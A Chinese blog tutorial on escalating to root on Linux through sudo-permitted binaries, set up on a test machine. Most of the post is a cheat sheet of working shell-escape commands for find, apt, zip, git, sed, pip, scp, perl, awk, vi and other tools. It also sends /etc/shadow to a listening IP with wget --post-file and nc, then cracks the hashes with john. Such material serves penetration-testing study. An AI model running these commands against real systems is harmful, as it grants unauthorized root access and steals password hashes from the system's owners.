Linux提权——SUDO

使用Sudo权限提升Linux账户权限

在Linux/Unix中,/etc/sudoers文件是sudo权限的配置文件,其中储存了一些用户或组可以以root权限使用的命令。如下图
在这里插入图片描述

Sudoer文件语法

假如我们(root用户)要给普通用户test分配sudo权限,请输出vim /etc/sudoers打开文件进行编辑,找到root权限root ALL=(ALL:ALL) ALL,在下一行输入
test ALL(ALL:ALL) ALL,保存后退出,这样即表示用户test可以使用sudo调用root权限执行命令。

给普通用户设置 sudo权限

打开 /etc/sudoers 文件

vim /etc/sudoers

给普通用户test 的wget命令添加sudo权限供下面进行提权测试

test   ALL(ALL:ALL) /usr/bin/wget

或者直接给于用户root权限,下面测试时不必来回修改

test   ALL(ALL:ALL)   ALL

提权命令总览

可以利用sudo提权的命令如下

wget、find、cat、apt、zip、xxd、time、taskset、git、sed、pip、ed、tmux、scp、perl、bash、less、awk、man、vi、env、ftp

sudo wget提权

Wget 命令是一个命令行实用程序,它使用户能够借助许多协议(如 HTTP、HTTPS 和 FTP)从 Internet 或服务器同时下载单个或多个文件。
wget 提权的原理是:
使用–post-file参数将/etc/shadow的内容发送到监听IP并保存未hash.txt(kali)

##kali上监听
nc -lvp 4444 > hash.txt

##靶机上
/usr/bin/wget --post-file=/etc/shadow 192.168.0.114:4444

在这里插入图片描述
在这里插入图片描述

使用john字典模式对其进行破解

/usr/share/john$ john --wordlist=password.lst /home/light/hash.txt

sudo find提权

find 命令用来在指定目录下查找文件,这里使用“exec”来执行/bin/bash,以访问root shell

sudo find /home -exec /bin/bash \;

在这里插入图片描述

sudo cat 提权

cat 命令用户连接文件并打印到标准输出设备上
在分配了sudo权限后,我们可以查看 /etc/shadow 文件中的账号密码,并使用john破解

sudo cat /etc/shadow

在这里插入图片描述

sudo apt 提权

apt(Advanced Packaging Tool)是一个在 Debian 和 Ubuntu 中的 Shell 前端软件包管理器。apt 命令提供了查找、安装、升级、删除某一个、一组甚至全部软件包的命令,而且命令简洁而又好记。apt 命令执行需要超级管理员权限(root)。普通用户可调用sudo执行apt。
使用方法是,创建一个临时的文件,并在其中构建一个包来调用/bin/bash,然后通过apt-get安装该包

TF=$(mktemp) 
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF 
sudo apt-get install -c $TF sl

在这里插入图片描述

sudo zip提权

zip 命令用于压缩文件,是个 使用广泛的压缩程序,压缩后的文件后缀名为 .zip。
通过压缩一个存在的文件,并调用-T参数输出shell

sudo zip hash.zip hash.txt -T --unzip-command="sh -c /bin/bash"

在这里插入图片描述

sudo xxd提权

xxd命令是 二进制显示和处理文件工具,其可以将给定的文件内容生成为十六进制文件,反过来也行
提权原理是使用xxd读取十六进制的/etc/shadow文件,并通过管道符连接另一个xdd命令以将十六进制恢复为原文件

sudo xxd "/etc/shadow" | xxd -r

在这里插入图片描述

同样是保存后,使用jhon破解哈希密码。

sudo time 提权

time命令用于量测特定指令执行时所需消耗的时间及系统资源等资讯。
https://www.hackingarticles.in/linux-for-pentester-time-privilege-escalation/

sudo taskset提权

taskset命令用于设置进程(或 线程)的处理器亲和性(Processor Affinity),可以将进程(或 线程)绑定到特定的一个 或 多个CPU上去执行,而不允许将进程(或 线程)调度到其他的CPU上。
执行以下命令获取shell

sudo taskset 1 /bin/sh -p

在这里插入图片描述

sudo git提权

##第一种方法
sudo git help config
##输入!/bin/sh  并回车执行shell

在这里插入图片描述

##第二种方法
sudo git -p help
!/bin/bash

在这里插入图片描述

sudo sed提权

sudo sed -n '1e exec sh 1>&0' /etc/passwd

在这里插入图片描述

sudo pip提权

TF=$(mktemp -d) 
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py 
sudo pip install $TF

在这里插入图片描述

sudo ed提权

sudo ed
!/bin/sh

在这里插入图片描述

sudo tmux提权

sudo tmux

在这里插入图片描述

sudo scp提权
TF=$(mktemp) 
echo 'sh 0<&2 1>&2' > $TF 
chmod +x "$TF" 
sudo scp -S $TF x y:

在这里插入图片描述

sudo perl提权

sudo perl -e 'exec "/bin/bash";'

在这里插入图片描述

sudo bash提权

bash -p

在这里插入图片描述

sudo less提权

sudo less /etc/hosts
!bash

在这里插入图片描述

sudo awk提权

sudo awk 'BEGIN {system("/bin/bash")}'

在这里插入图片描述

sudo man提权

sudo man man
!bash

在这里插入图片描述

sudo vi/vim提权

sudo vi
:!bash

在这里插入图片描述

sudo env 提权

sudo env /bin/bash

在这里插入图片描述

sudo ftp提权

sudo ftp
! /bin/bash

在这里插入图片描述
待续。。。

  • 12
    点赞
  • 78
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
回答: 在Linux中,sudo是一个常用的工具,允许系统管理员让普通用户执行一些或全部的root命令。它可以限制用户只在某台主机上运行某些命令,并提供了丰富的日志记录功能。sudo的配置文件是sudoers文件,允许系统管理员集中管理用户的使用权限和使用的主机。当用户调用sudo并输入密码时,会获得一张存活期为5分钟的票据,这个时间可以在编译时进行修改。sudo不是对shell的代替,而是面向每个命令的。它的使用前提是用户属于sudo用户组,并在/etc/sudoers文件中有相关的配置信息。\[1\]\[2\]\[3\] #### 引用[.reference_title] - *1* [linuxsudo命令概述](https://blog.csdn.net/qq_45583898/article/details/125232399)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down28v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [linux(十二)——sudo命令](https://blog.csdn.net/huyang_1995/article/details/109805637)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down28v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [Linux 学习笔记(二):sudo 命令是什么](https://blog.csdn.net/Amentos/article/details/129291596)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down28v1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值